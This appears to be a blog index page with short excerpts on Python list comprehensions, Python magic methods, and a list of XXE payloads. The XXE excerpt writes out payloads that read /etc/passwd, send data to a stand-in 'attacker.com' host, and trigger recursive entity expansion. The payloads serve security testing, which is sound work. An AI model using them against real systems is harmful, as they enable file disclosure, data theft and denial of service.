Python List Comprehension

List comprehension is a concise way to create lists in Python. It is a syntactic construct that allows you to create a new list by specifying the elements you want to include using a single line of code. List comprehensions are powerful and unique to Python because they provide a more readable, efficient, and elegant …

Read more

Python Magic Methods

What are python magic methods? In Python, magic methods are special methods that allow you to define how instances of your class behave when used with certain built-in Python functions or operators. These methods have a double underscore (__) before and after their names; hence they are also known as Dunder Methods. Here are some …

Read more

Some XXE Payloads

Here are some common XXE payloads that can be used to test for XXE- <!DOCTYPE replace [<!ENTITY example “Hello World”>]> <!DOCTYPE replace [<!ENTITY example SYSTEM “file:///etc/passwd”>]> <!DOCTYPE replace [<!ENTITY example SYSTEM “ftp://username:password@ftp.example.com/file”>]> <!DOCTYPE replace [<!ENTITY example SYSTEM “http://example.com/file”>]> <!DOCTYPE replace [<!ENTITY example SYSTEM “http://attacker.com/?data=%file_contents;”>]> <!DOCTYPE replace [<!ENTITY example “Hello &example2;”><!ENTITY example2 “&example;&example;&example;”>]> These payloads are …

Read more